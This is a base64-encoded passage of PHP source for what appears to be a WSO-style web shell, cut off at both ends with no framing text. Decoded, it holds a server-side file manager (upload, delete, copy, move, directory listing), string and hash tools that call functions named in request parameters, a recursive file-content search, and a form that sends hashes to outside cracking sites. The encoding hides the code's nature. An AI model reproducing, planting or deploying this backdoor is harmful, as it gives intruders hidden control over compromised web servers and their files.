LS0tLS0tLS0KLy8gRmlsZSBtYW5hZ2VyIGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9u
IGFjdGlvbkZpbGVzTWFuKCkgewoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5GaWxlIG1hbmFn
ZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgewoJ
CXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CgkJCQlpZighQG1v
dmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2YnXVsn
bmFtZSddKSkKCQkJCQllY2hvICJDYW4ndCB1cGxvYWQgZmlsZSEiOwoJCQkJYnJlYWs7CgkJCQli
cmVhazsKCQkJY2FzZSAnbWtkaXInOgoJCQkJaWYoIUBta2RpcigkX1BPU1RbJ3AyJ10pKQoJCQkJ
CWVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsKCQkJCWJyZWFrOwoJCQljYXNlICdkZWxldGUn
OgoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7CgkJCQkJJHBhdGggPSAoc3Vic3RyKCRw
YXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKCQkJCQkkZGggID0gb3BlbmRpcigkcGF0
aCk7CgkJCQkJd2hpbGUgKCAoJGl0ZW0gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKCQkJ
CQkJJGl0ZW0gPSAkcGF0aC4kaXRlbTsKCQkJCQkJaWYgKCAoYmFzZW5hbWUoJGl0ZW0pID09ICIu
LiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSApCgkJCQkJCQljb250aW51ZTsKCQkJCQkJ
JHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikKCQkJCQkJ
CWRlbGV0ZURpcigkaXRlbSk7CgkJCQkJCWVsc2UKCQkJCQkJCUB1bmxpbmsoJGl0ZW0pOwoJCQkJ
CX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJtZGlyKCRwYXRoKTsKCQkJCX0KCQkJCWlmKGlz
X2FycmF5KEAkX1BPU1RbJ2YnXSkpCgkJCQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewoJ
CQkJCQkkZiA9IHVybGRlY29kZSgkZik7CgkJCQkJCWlmKGlzX2RpcigkZikpCgkJCQkJCQlkZWxl
dGVEaXIoJGYpOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRmKTsKCQkJCQl9CgkJCQlicmVh
azsKCQkJY2FzZSAncGFzdGUnOgoJCQkJaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAnY29weScpIHsK
CQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRz
KSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IG9wZW5kaXIoJGMuJHMpOwoJCQkJ
CQkJd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJCQkJCQkJaWYgKCgkZiAh
PSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpIHsKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycs
JGYsICRkLiRzLicvJyk7CgkJCQkJCQkJfQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkg
ewoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQkJfQoJCQkJCX0KCQkJCQlmb3JlYWNo
KCRfU0VTU0lPTlsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfU0VTU0lPTlsnY3dkJ10s
JGYsICRHTE9CQUxTWydjd2QnXSk7CQkJCQkKCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10g
PT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlm
KGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBvcGVuZGly
KCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQoJCQkJ
CQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKSB7CgkJCQkJCQkJCWNvcHlfcGFz
dGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQkJCX0KCQkJCQkJfSBlbHNlaWYoaXNf
ZmlsZSgkYy4kcykpIHsKCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7CgkJCQkJCX0KCQkJCQl9
CgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkZikKCQkJCQkJQHJlbmFtZSgkX1NFU1NJ
T05bJ2N3ZCddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOwoJCQkJfQoJCQkJdW5zZXQoJF9TRVNT
SU9OWydmJ10pOwoJCQkJYnJlYWs7CgkJCWRlZmF1bHQ6CgkJCQlpZighZW1wdHkoJF9QT1NUWydw
MSddKSAmJiAoKCRfUE9TVFsncDEnXSA9PSAnY29weScpfHwoJF9QT1NUWydwMSddID09ICdtb3Zl
JykpICkgewoJCQkJCSRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOwoJCQkJCSRfU0VT
U0lPTlsnZiddID0gQCRfUE9TVFsnZiddOwoJCQkJCWZvcmVhY2goJF9TRVNTSU9OWydmJ10gYXMg
JGsgPT4gJGYpCgkJCQkJCSRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7CgkJCQkJ
JF9TRVNTSU9OWydjd2QnXSA9IEAkX1BPU1RbJ2MnXTsKCQkJCX0KCQkJCWJyZWFrOwoJCX0KCQll
Y2hvICc8c2NyaXB0PmRvY3VtZW50Lm1mLnAxLnZhbHVlPSIiO2RvY3VtZW50Lm1mLnAyLnZhbHVl
PSIiOzwvc2NyaXB0Pic7Cgl9CgkkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsn
YyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYoJGRpckNvbnRlbnQgPT09IGZh
bHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7IHJldHVybjsJfQoJZ2xvYmFs
ICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEn
XSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEn
XSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsK
CX0KPz4KPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxkb2N1bWVudC5maWxl
cy5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlpZihkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS50
eXBlID09ICdjaGVja2JveCcpCgkJCQlkb2N1bWVudC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2Vk
ID0gZG9jdW1lbnQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsKCX0KPC9zY3JpcHQ+Cjx0YWJs
ZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0n
Mic+Cjxmb3JtIG5hbWU9ZmlsZXMgbWV0aG9kPXBvc3Q+Cjw/cGhwCgllY2hvICI8dHI+PHRoIHdp
ZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGti
eD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19u
YW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBv
bmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwi
KSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixu
dWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+
T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixu
dWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+
PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJzID0gJGZpbGVzID0gJGxpbmtzID0gYXJyYXko
KTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7JGk8JG47JGkrKykgewoJCSRv
dyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwoJCSRnciA9
IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwoJCSR0bXAgPSBh
cnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAncGF0aCcgPT4gJEdMT0JBTFNb
J2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDpp
OnMnLEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSkpLAoJCQkJCSAn
cGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0p
LAoJCQkJCSAnc2l6ZScgPT4gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFsk
aV0pLAoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIo
JGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUn
XTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKCQkJCQkpOwoJCWlmKEBpc19maWxlKCRHTE9C
QUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0
bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNb
J2N3ZCddLiRkaXJDb250ZW50WyRpXSkpCgkJCSRsaW5rc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwg
YXJyYXkoJ3R5cGUnID0+ICdsaW5rJykpOwoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2Qn
XS4kZGlyQ29udGVudFskaV0pJiYgKCRkaXJDb250ZW50WyRpXSAhPSAiLiIpKQoJCQkkZGlyc1td
ID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cgl9CgkkR0xPQkFM
U1snc29ydCddID0gJHNvcnQ7CglmdW5jdGlvbiBjbXAoJGEsICRiKSB7CgkJaWYoJEdMT0JBTFNb
J3NvcnQnXVswXSAhPSAnc2l6ZScpCgkJCXJldHVybiBzdHJjbXAoJGFbJEdMT0JBTFNbJ3NvcnQn
XVswXV0sICRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0x
KTsKCQllbHNlCgkJCXJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkq
KCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7Cgl9Cgl1c29ydCgkZmlsZXMsICJjbXAiKTsKCXVz
b3J0KCRkaXJzLCAiY21wIik7Cgl1c29ydCgkbGlua3MsICJjbXAiKTsKCSRmaWxlcyA9IGFycmF5
X21lcmdlKCRkaXJzLCAkbGlua3MsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBh
cyAkZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlw
ZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBj
bGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdm
aWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidc
JywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01h
blwnLFwnJy4kZlsncGF0aCddLidcJyk7Ij48Yj5bICcuaHRtbHNwZWNpYWxjaGFycygkZlsnbmFt
ZSddKS4nIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92aWV3
U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwv
dGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMg
b25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSku
J1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBv
bmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4n
XCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29s
c1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+
Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNU
b29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwv
YT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNv
ZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+
JzsKCQkkbCA9ICRsPzA6MTsKCX0KCT8+Cgk8dHI+PHRkIGNvbHNwYW49Nz4KCTxpbnB1dCB0eXBl
PWhpZGRlbiBuYW1lPWEgdmFsdWU9J0ZpbGVzTWFuJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l
PWMgdmFsdWU9Jzw/PWh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKT8+Jz4KCTxpbnB1
dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9Jzw/PWlzc2V0KCRfUE9TVFsnY2hhcnNl
dCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJz8+Jz4KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24g
dmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRp
b24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj48P3BocCBpZighZW1wdHko
JF9TRVNTSU9OWydhY3QnXSkmJkBjb3VudCgkX1NFU1NJT05bJ2YnXSkpez8+PG9wdGlvbiB2YWx1
ZT0ncGFzdGUnPlBhc3RlPC9vcHRpb24+PD9waHAgfT8+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5
cGU9InN1Ym1pdCIgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+Cgk8L2Zvcm0+PC90YWJsZT48L2Rpdj4K
CTw/cGhwCglwcmludEZvb3RlcigpOwp9Ci8vIEZpbGUgbWFuYWdlciBlbmQgLS0tLS0tLS0tLS0t
LS0tLS0tLS0KLy8gU3RyaW5nIHRvb2xzIGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tCmZ1bmN0aW9u
IGFjdGlvblN0cmluZ1Rvb2xzKCkgewoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7
ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlm
KCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJu
IGRlY2hleChiaW5kZWMoJHApKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykp
IHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkr
PTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KCWlmKCFm
dW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0n
Jztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBb
JGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxs
X3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0w
OyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBz
dHJ0b3VwcGVyKCRyKTt9fQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoCgkJJ0Jhc2U2NCBlbmNvZGUn
ID0+ICdiYXNlNjRfZW5jb2RlJywKCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUn
LAoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKCQknVXJsIGRlY29kZScgPT4gJ3VybGRl
Y29kZScsCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAoJCSdtZDUgaGFz
aCcgPT4gJ21kNScsCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAoJCSdjcnlwdCcgPT4gJ2NyeXB0
JywKCQknQ1JDMzInID0+ICdjcmMzMicsCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcs
CgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCgkJJ0hFWCB0byBERUMnID0+ICdoZXhk
ZWMnLAoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNo
ZXgnLAoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKCQknQklOIHRvIEhFWCcgPT4gJ2Jpbmhl
eCcsCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScg
PT4gJ3N0cnRvbG93ZXInLAoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXIn
LAoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCgkJJ1N0cmluZyBs
ZW5ndGgnID0+ICdzdHJsZW4nLAoJKTsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCSRf
U0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsKCQlvYl9z
dGFydCgpOwoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkKCQkJZWNo
byAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVt
ZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50
QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hh
cnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKCQllY2hvIHN0cmxlbigk
dGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgn
XSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBf
SE9TVCddKS4nYWpheCddID0gMDsKCXByaW50SGVhZGVyKCk7CgllY2hvICc8aDE+U3RyaW5nIGNv
bnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWVjaG8gIjxmb3JtIG5hbWU9J3Rv
b2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlz
LnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhp
cy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNl
bGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4g
JHYpCgkJZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRr
LiI8L29wdGlvbj4iOwoJCWVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVl
PSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9TRVNT
SU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBz
ZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRv
cDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lh
bGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwx
JyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJn
aW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7
CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNp
YWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7Cgl9CgllY2hvIjwvcHJlPjwvZGl2
Pjxicj48aDE+U2VhcmNoIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgoJCTxmb3JtIG9u
c3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhpcy50ZXh0LnZhbHVlLHRoaXMu
ZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUgY2VsbHBhZGRpbmc9JzEnIGNl
bGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4KCQkJPHRyPjx0ZCB3aWR0aD0nMSUnPlRleHQ6PC90
ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3RleHQnIHN0eWxlPSd3aWR0aDoxMDAlJz48
L3RkPjwvdHI+CgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFt
ZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBz
dHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPk5hbWU6PC90ZD48dGQ+PGlu
cHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1ZT0nKicgc3R5bGU9J3dpZHRoOjEw
MCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2
YWx1ZT0nPj4nPjwvdGQ+PC90cj4KCQkJPC90YWJsZT48L2Zvcm0+IjsKCWZ1bmN0aW9uIHByaW50
UmVjdXJzaXZlR2xvYigkcGF0aCkgewoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykKCQkJ
JHBhdGguPScvJzsKCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigk
cGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsKCQlp
Zihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgewoJCQlmb3JlYWNoKCRwYXRocyBh
cyAkaXRlbSkgewoJCQkJaWYoQGlzX2RpcigkaXRlbSkpewoJCQkJCWlmKCRwYXRoIT0kaXRlbSkK
CQkJCQkJcHJpbnRSZWN1cnNpdmVHbG9iKCRpdGVtKTsKCQkJCX0gZWxzZSB7CgkJCQkJaWYoZW1w
dHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgJF9Q
T1NUWydwMiddKSE9PWZhbHNlKQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwi
RmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixcIlwi
KSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOwoJCQkJfQoJCQl9CgkJfQoJ
fQoJaWYoQCRfUE9TVFsncDMnXSkKCQlwcmludFJlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOwoJ
ZWNobyAiPC9kaXY+PGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRl
bnQ+CgkJPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPgoJCQk8
aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPgog
ICAgICAgICAgICA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3QnIHZhbHVlPSdmaW5kJy8+
CgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9
XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7
ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVl
PSdtZDUucmVkbm9pemUuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8v
bWQ1LnJlZG5vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9j
dW1lbnQuaGYuc3VibWl0KClcIj48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdidXR0b24n
IHZhbHVlPSdmYWtlbmFtZWdlbmVyYXRvci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rp
b249J2h0dHA6Ly93d3cuZmFrZW5hbWVnZW5lcmF0b3IuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0
